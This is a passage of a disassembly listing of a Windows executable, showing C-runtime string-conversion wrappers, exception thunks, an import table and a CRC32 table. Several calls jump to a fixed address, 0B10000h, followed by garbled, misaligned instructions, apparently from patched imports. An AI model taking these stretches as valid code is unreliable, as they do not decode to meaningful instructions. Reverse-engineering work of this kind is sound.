jnz short locret_426B69
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426B69: ; CODE XREF: sub_426B5D+5j
retn
sub_426B5D endp
; =============== S U B R O U T I N E =======================================
sub_426B6A proc near ; CODE XREF: seg000:00426B82p
mov dword ptr [ecx], offset off_428D88
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_426B7E
push ecx
call sub_41B2A1
pop ecx
locret_426B7E: ; CODE XREF: sub_426B6A+Bj
retn
sub_426B6A endp
; ---------------------------------------------------------------------------
loc_426B7F: ; DATA XREF: seg001:off_428D88o
push esi
mov esi, ecx
call sub_426B6A
test byte ptr [esp+8], 1
jz short loc_426B95
push esi
call sub_41CE73
pop ecx
loc_426B95: ; CODE XREF: seg000:00426B8Cj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B9B proc near ; CODE XREF: sub_4266C0+54p
; sub_42678B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_428D90
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call ds:dword_42805C ; RaiseException
pop edi
pop esi
leave
retn 8
sub_426B9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BD5 proc near ; CODE XREF: sub_426A24+56p
; sub_426A24+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_426BE7
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_426BE7: ; CODE XREF: sub_426BD5+Bj
cmp ds:dword_4DDF74, 0
jnz short loc_426C01
cmp ax, 41h
jb short locret_426C48
cmp ax, 5Ah
ja short locret_426C48
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_426C01: ; CODE XREF: sub_426BD5+19j
cmp ax, 100h
jnb short loc_426C1B
push 1
push eax
call sub_426E83
pop ecx
test eax, eax
pop ecx
jnz short loc_426C1B
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426C1B: ; CODE XREF: sub_426BD5+30j
; sub_426BD5+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push ds:dword_4DDF74
call sub_426C4A
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426C48
mov ax, [ebp+var_2]
locret_426C48: ; CODE XREF: sub_426BD5+1Fj
; sub_426BD5+25j ...
leave
retn
sub_426BD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C4A proc near ; CODE XREF: sub_426BD5+5Fp
var_9B78B40 = dword ptr -9B78B40h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428DB0
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp ds:dword_4DE1CC, esi
jnz short loc_426CC0
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_428940
mov edi, 100h
push edi
push esi
call ds:dword_428050 ; LCMapStringW
test eax, eax
jz short loc_426C9E
mov ds:dword_4DE1CC, ebx
jmp short loc_426CC0
; ---------------------------------------------------------------------------
loc_426C9E: ; CODE XREF: sub_426C4A+4Aj
push esi
push esi
push ebx
push offset dword_4CDAB0
push edi
push esi
call near ptr 0B10000h
into
test eax, eax
jz loc_426E3F
mov ds:dword_4DE1CC, 2
loc_426CC0: ; CODE XREF: sub_426C4A+2Ej
; sub_426C4A+52j
cmp [ebp+arg_C], esi
jle short loc_426CD5
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426E53
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_426CD5: ; CODE XREF: sub_426C4A+79j
mov eax, ds:dword_4DE1CC
cmp eax, 1
jnz short loc_426CFC
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_428050 ; LCMapStringW
jmp loc_426E41
; ---------------------------------------------------------------------------
loc_426CFC: ; CODE XREF: sub_426C4A+93j
cmp eax, 2
jnz loc_426E3F
cmp [ebp+arg_18], esi
jnz short loc_426D12
mov eax, ds:dword_4DDF84
mov [ebp+arg_18], eax
loc_426D12: ; CODE XREF: sub_426C4A+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call ds:dword_428180 ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426E3F
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426D58
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426D58: ; CODE XREF: sub_426C4A+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426E3F
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call ds:dword_428180 ; WideCharToMultiByte
test eax, eax
jz loc_426E3F
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 0B10000h
repne mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426E3F
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426DDB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426DDB: ; CODE XREF: sub_426C4A+17Dj
cmp ebx, esi
jz short loc_426E3F
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 0B10000h
mov [ebp+var_9B78B40], eax
inc ebp
or eax, 8B1C7404h
inc ebp
sbb al, 3Bh
mov byte ptr [edi+esi+3Bh], 0C7h
jl short loc_426E0A
mov eax, edi
loc_426E0A: ; CODE XREF: sub_426C4A+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41B7E0
add esp, 0Ch
jmp short loc_426E3B
; ---------------------------------------------------------------------------
cmp [ebp+arg_14], esi
jnz short loc_426E22
push esi
push esi
jmp short loc_426E28
; ---------------------------------------------------------------------------
loc_426E22: ; CODE XREF: sub_426C4A+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426E28: ; CODE XREF: sub_426C4A+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call ds:dword_428184 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_426E3F
loc_426E3B: ; CODE XREF: sub_426C4A+1CDj
mov eax, edi
jmp short loc_426E41
; ---------------------------------------------------------------------------
loc_426E3F: ; CODE XREF: sub_426C4A+66j
; sub_426C4A+B5j ...
xor eax, eax
loc_426E41: ; CODE XREF: sub_426C4A+ADj
; sub_426C4A+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426C4A endp
; =============== S U B R O U T I N E =======================================
sub_426E53 proc near ; CODE XREF: sub_426C4A+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426E72
loc_426E63: ; CODE XREF: sub_426E53+1Dj
cmp word ptr [eax], 0
jz short loc_426E72
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426E63
loc_426E72: ; CODE XREF: sub_426E53+Ej
; sub_426E53+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426E80
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426E80: ; CODE XREF: sub_426E53+24j
mov eax, edx
retn
sub_426E53 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426E83 proc near ; CODE XREF: sub_426BD5+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426EC3
cmp [ebp+arg_0], 100h
jnb short loc_426EA7
movzx eax, [ebp+arg_0]
mov ecx, ds:off_43EF8C
mov ax, [ecx+eax*2]
jmp short loc_426ECA
; ---------------------------------------------------------------------------
loc_426EA7: ; CODE XREF: sub_426E83+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426ED5 ; CODE XREF: sub_426ED5+5Ej
add esp, 18h
test eax, eax
jnz short loc_426EC7
loc_426EC3: ; CODE XREF: sub_426E83+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426EC7: ; CODE XREF: sub_426E83+3Ej
mov eax, [ebp+var_4]
loc_426ECA: ; CODE XREF: sub_426E83+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426E83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426ED5 proc near ; CODE XREF: sub_426E83+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428DC8
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, ds:dword_4DE1D0
xor edi, edi
cmp eax, edi
jnz short loc_426F44
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_428940
push esi
call ds:dword_428020 ; GetStringTypeW
test eax, eax
jz short loc_426F22
mov eax, esi
jmp short loc_426F3F
; ---------------------------------------------------------------------------
loc_426F22: ; CODE XREF: sub_426ED5+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CDAB0
push esi
push edi
call near ptr 0B10000h
jg short near ptr loc_426EB7+3
ror byte ptr [edi], 84h
dec edx
add [eax], eax
add [edx+2], ch
pop eax
loc_426F3F: ; CODE XREF: sub_426ED5+4Bj
mov ds:dword_4DE1D0, eax
loc_426F44: ; CODE XREF: sub_426ED5+2Fj
cmp eax, 1
jnz short loc_426F60
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_428020 ; GetStringTypeW
jmp loc_427088
; ---------------------------------------------------------------------------
loc_426F60: ; CODE XREF: sub_426ED5+72j
cmp eax, 2
jnz loc_427086
cmp [ebp+arg_10], edi
jnz short loc_426F76
mov eax, ds:dword_4DDF84
mov [ebp+arg_10], eax
loc_426F76: ; CODE XREF: sub_426ED5+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call ds:dword_428180 ; WideCharToMultiByte
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_427086
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41B780
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426FD4
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426FD4: ; CODE XREF: sub_426ED5+EAj
cmp [ebp+var_2C], edi
jz loc_427086
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call ds:dword_428180 ; WideCharToMultiByte
test eax, eax
jz loc_427086
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_427029
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_427029: ; CODE XREF: sub_426ED5+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_427086
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_42703D
mov eax, ds:dword_4DDF74
loc_42703D: ; CODE XREF: sub_426ED5+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 0B10000h
pop eax
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_427086
cmp word ptr [esi], 0FFFFh
jnz short loc_427086
push edi
push ebx
push [ebp+arg_C]
call sub_41CE80
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_427088
; ---------------------------------------------------------------------------
loc_427086: ; CODE XREF: sub_426ED5+8Ej
; sub_426ED5+C0j ...
xor eax, eax
loc_427088: ; CODE XREF: sub_426ED5+86j
; sub_426ED5+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426ED5 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_42709C proc near ; DATA XREF: seg001:00428F6Co
; FUNCTION CHUNK AT 0040D2EC SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D2EC
sub_42709C endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_4270BA
mov ecx, [ebp+8]
jmp loc_40D2EC
; ---------------------------------------------------------------------------
locret_4270BA: ; CODE XREF: seg000:004270ACj
retn
; ---------------------------------------------------------------------------
loc_4270BB: ; DATA XREF: sub_40CEC7o
mov eax, offset dword_428F70
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D2EC
; ---------------------------------------------------------------------------
loc_4270D0: ; DATA XREF: seg001:00428F98o
lea ecx, [ebp-1Ch]
jmp loc_40D2EC
; ---------------------------------------------------------------------------
loc_4270D8: ; DATA XREF: sub_40D066o
mov eax, offset dword_428F9C
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 4
loc_4270E4: ; DATA XREF: sub_40D5CDo
mov eax, offset dword_428FEC
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-20h]
jmp loc_40D2EC
; ---------------------------------------------------------------------------
loc_4270F8: ; DATA XREF: sub_4266C0o
mov eax, offset dword_429088
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_426B47
; ---------------------------------------------------------------------------
loc_42710C: ; DATA XREF: sub_42671Ao
mov eax, offset dword_4290B0
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_426B47
; ---------------------------------------------------------------------------
loc_427120: ; DATA XREF: sub_4267A8o
mov eax, offset dword_4290F8
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_426B47
; ---------------------------------------------------------------------------
loc_427134: ; DATA XREF: sub_426801o
mov eax, offset dword_429120
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_426B47
; ---------------------------------------------------------------------------
loc_427148: ; DATA XREF: sub_42685Eo
mov eax, offset dword_429148
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_40D2EC
; ---------------------------------------------------------------------------
loc_42715C: ; DATA XREF: sub_4268ECo
mov eax, offset dword_4291B0
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_426B47
; ---------------------------------------------------------------------------
loc_427170: ; DATA XREF: sub_426946o
mov eax, offset dword_4291D8
jmp loc_41CB0F
; ---------------------------------------------------------------------------
align 1000h
seg000 ends
; Section 2. (virtual address 00028000)
; Virtual size : 00002000 ( 8192.)
; Section size in file : 00002000 ( 8192.)
; Offset to raw data for section: 00028000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg001 segment para public 'CODE' use32
assume cs:seg001
;org 428000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_428000 dd 77E75D9Eh ; DATA XREF: sub_40FCD8+1FBr
dd 77E6BD68h
dword_428008 dd 77E77F2Eh ; DATA XREF: sub_426153+3Er
; sub_426153+261r
dword_42800C dd 77E762D0h ; DATA XREF: sub_426153+5Br
; sub_426153+B9r
dd 77E70192h, 77E7176Ch, 77E7339Ch
dword_42801C dd 77E7C9E7h ; DATA XREF: sub_4249A2+5r
; sub_4249B3+6r
dword_428020 dd 77E7C866h ; DATA XREF: seg000:00423F76r
; seg000:00424064r ...
dd 77E641EBh, 77E73FF9h, 77E7FF2Eh, 77E78406h, 77E79C3Dh
dd 77E7C931h
dword_42803C dd 77E77EE1h ; DATA XREF: sub_4234D4+9r
dword_428040 dd 77E67702h ; DATA XREF: sub_4234D4:loc_423503r
; sub_4234D4+E1r
dword_428044 dd 77E7C9E1h ; DATA XREF: sub_4234D4+CEr
dd 77E9C5B1h
dword_42804C dd 77EB9A84h ; DATA XREF: sub_422FF2+138r
dword_428050 dd 77E781F9h ; DATA XREF: seg000:00422DE5r
; seg000:00422F8Br ...
dd 77E77405h
dword_428058 dd 77F522F2h ; DATA XREF: sub_422828+58r
dword_42805C dd 77E6D706h ; DATA XREF: sub_4212CC+215r
; sub_426B9B+2Er
dd 77E6C703h
dword_428064 dd 77E61BE6h ; DATA XREF: seg000:00401081r
; sub_401132+29r ...
dword_428068 dd 77E75CB5h ; DATA XREF: sub_401132+DFr
; seg000:004012B0r ...
dword_42806C dd 77E77963h ; DATA XREF: sub_401132+B8r
; sub_40C4C6+9Dr ...
dd 77E61BB8h, 77E7A099h, 77E704FCh
dword_42807C dd 77E7AC37h ; DATA XREF: seg000:00402278r
; seg000:004024D5r ...
dd 77E73628h
dword_428084 dd 77E706B7h ; DATA XREF: seg000:0041994Cr
dd 77E80656h
dword_42808C dd 77F5157Dh ; DATA XREF: seg000:004024F1r
; seg000:00403763r ...
dd 77E6BD13h, 77E70396h
dword_428098 dd 77E74CABh ; DATA XREF: sub_40FA29+10Fr
; sub_41853D+10Fr ...
dword_42809C dd 77E79F93h ; DATA XREF: sub_409A01+2r
dd 77E79D5Bh, 77E7C2C4h
dword_4280A8 dd 77E7751Ah ; DATA XREF: seg000:00401262r
; seg000:00404012r ...
dword_4280AC dd 77E75CEBh ; DATA XREF: seg000:00410F66r
dd 77E6AD34h, 77E71AFEh
dword_4280B8 dd 77E805D8h ; DATA XREF: sub_409A01+13Ar
; sub_409A01:loc_409F0Fr ...
dword_4280BC dd 987574h ; DATA XREF: sub_409A01+11r
; sub_416F7D+60r ...
dd 77E65F4Ch
dword_4280C4 dd 77E7513Ch ; DATA XREF: seg000:0040AD49r
dword_4280C8 dd 77E7C657h ; DATA XREF: seg000:0040ADBDr
; sub_4186C5+32r ...
dd 77E73C49h
dword_4280D0 dd 77F7E300h ; DATA XREF: sub_40BF8E+130r
dword_4280D4 dd 77F7E21Fh ; DATA XREF: sub_40BF8E+C5r
dword_4280D8 dd 77E7C706h ; DATA XREF: seg000:0040C219r
dword_4280DC dd 77F53275h ; DATA XREF: seg000:0040C20Dr
; seg000:0040C3E3r
dd 77E79D8Ch, 77E737DEh
dword_4280E8 dd 77E78B82h ; DATA XREF: sub_40D83A+19Cr
; sub_40D83A+4B0r ...
dword_4280EC dd 77E7A837h ; DATA XREF: sub_40D83A+A4r
; sub_40E3D2+1CBr ...
dd 77E73EACh, 77E616B4h, 77E79CE3h
dword_4280FC dd 77E79C90h ; DATA XREF: seg000:004110FEr
; seg000:00419EA8r
dword_428100 dd 77E7727Ah ; DATA XREF: sub_410FCB+23r
; seg000:00419E67r
dd 77E64106h, 77E64006h, 77E793EFh, 77E78EAAh, 77E79424h
dd 77E794BFh
dword_42811C dd 77E75E67h ; DATA XREF: sub_40FCD8+20Cr
; sub_40FCD8+5DCr
dword_428120 dd 77E78C81h ; DATA XREF: seg000:004103C5r
; sub_415EA1+259r ...
dd 77E76968h, 77E74C59h, 77EC7C51h
dword_428130 dd 77E70F89h ; DATA XREF: sub_411D74+Er
; sub_4152AE+Dr ...
dd 77E802FCh, 77E6D75Bh, 77E80618h
dword_428140 dd 77E78147h ; DATA XREF: sub_416F7D+BCr
dword_428144 dd 77F51597h ; DATA XREF: sub_41714F+41r
; sub_41714F+F5r ...
dword_428148 dd 77F516F8h ; DATA XREF: sub_41714F+21r
; sub_4172D8+4Ar ...
dword_42814C dd 77E77CB7h ; DATA XREF: sub_41714F+10r
; sub_4172D8+40r ...
dword_428150 dd 77E7F01Ah ; DATA XREF: sub_4172D8+88r
; sub_41747C+53r
dword_428154 dd 77E61A54h ; DATA XREF: sub_4172D8+56r
dword_428158 dd 77E7C3A5h ; DATA XREF: sub_4172D8+34r
; sub_41747C+2Cr
dd 77E76A60h
dword_428160 dd 77E71B14h ; DATA XREF: sub_4183BA+26r
dword_428164 dd 77E7166Fh ; DATA XREF: sub_4183BA+1Dr
db 90h
db 50h, 0E7h, 77h
dd 77E74D76h, 77E77797h, 77E7011Ah, 77E73CE2h, 77E668D9h
dword_428180 dd 77E79924h ; DATA XREF: sub_418D55+13r
; seg000:00422FB0r ...
dword_428184 dd 77E77CCEh ; DATA XREF: sub_418E27+Fr
; sub_41DA54+54r ...
dword_428188 dd 77E76A2Eh ; DATA XREF: seg000:00419966r
dd 77E7FF65h, 77EB7624h, 77E6C29Dh, 77E76C1Ah
dword_42819C dd 77F5722Fh ; DATA XREF: sub_41B3F2+110r
; sub_41B3F2+22Dr ...
dword_4281A0 dd 77F6183Eh ; DATA XREF: sub_426A1Er
dd 77E76E3Dh, 77E61608h, 77E6177Ah, 77E7C938h
dword_4281B4 dd 77E7C486h ; DATA XREF: seg000:0041DB79r
dd 77E7AC5Eh
dword_4281BC dd 77E76E0Bh ; DATA XREF: sub_41DFF2+50r
dword_4281C0 dd 77E7C726h ; DATA XREF: sub_41DFF2+11r
dword_4281C4 dd 77E79E34h ; DATA XREF: sub_41E0C2+240r
; sub_41EB96+120r ...
dword_4281C8 dd 77E7980Ah ; DATA XREF: sub_41E6F4+76r
; sub_41E7A5+51r ...
dd 77E73196h, 77E7849Fh, 77E7A13Fh, 0
dword_4281DC dd 71B2ACCBh ; DATA XREF: sub_41B1C0r
dd 0
dword_4281E4 dd 71AB4122h ; DATA XREF: sub_414C60+D4r
dword_4281E8 dd 71AB1746h ; DATA XREF: seg000:0041298Br
; seg000:0041299Dr
dword_4281EC dd 71AB401Ch ; DATA XREF: seg000:004129C8r
dword_4281F0 dd 71AB1836h ; DATA XREF: sub_40F360+6Er
; sub_40F3DD+8Er
dword_4281F4 dd 71AB41DAh ; DATA XREF: sub_40ED60+4Ar
; sub_40F360+15r
dword_4281F8 dd 71AB155Ah ; DATA XREF: sub_40ED60+8Dr
; sub_4137F8+6Er ...
dword_4281FC dd 71AB3ECEh ; DATA XREF: sub_40ED60+B5r
dword_428200 dd 71AB5DE2h ; DATA XREF: sub_40ED60+C9r
dword_428204 dd 71AB868Dh ; DATA XREF: sub_40ED60+16Fr
dword_428208 dd 71AB5A01h ; DATA XREF: seg000:00414D6Br
dword_42820C dd 71AB1746h ; DATA XREF: sub_40DDDF+3Dr
; sub_40E2E5+36r ...
dword_428210 dd 71AB3E5Dh ; DATA XREF: sub_40DDDF+50r
; sub_40E2E5+59r ...
dword_428214 dd 71AB3F8Dh ; DATA XREF: sub_40DDDF+7Br
; sub_40ED60+5Ar
dword_428218 dd 71AB5690h ; DATA XREF: sub_40DDDF+B5r
; sub_40DDDF+28Br ...
dword_42821C dd 71AB1A6Dh ; DATA XREF: sub_40DDDF+26Fr
; sub_40DDDF:loc_40E235r ...
dword_428220 dd 71AB3C22h ; DATA XREF: seg000:0040D1D0r
; sub_40DDDF+15r ...
dword_428224 dd 71AB1AF4h ; DATA XREF: sub_40CE29+12r
; sub_40DDDF+A4r ...
dword_428228 dd 71AB1890h ; DATA XREF: sub_40CC86+4Cr
; sub_40ED60+106r
dword_42822C dd 71AB1B7Bh ; DATA XREF: sub_426A18r
dword_428230 dd 71AB157Eh ; DATA XREF: seg000:00404AA4r
dword_428234 dd 71AB12F8h ; DATA XREF: sub_40DDDF+2Cr
; sub_40E2E5+27r ...
align 10h
dword_428240 dd 0 ; DATA XREF: sub_401089+24r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
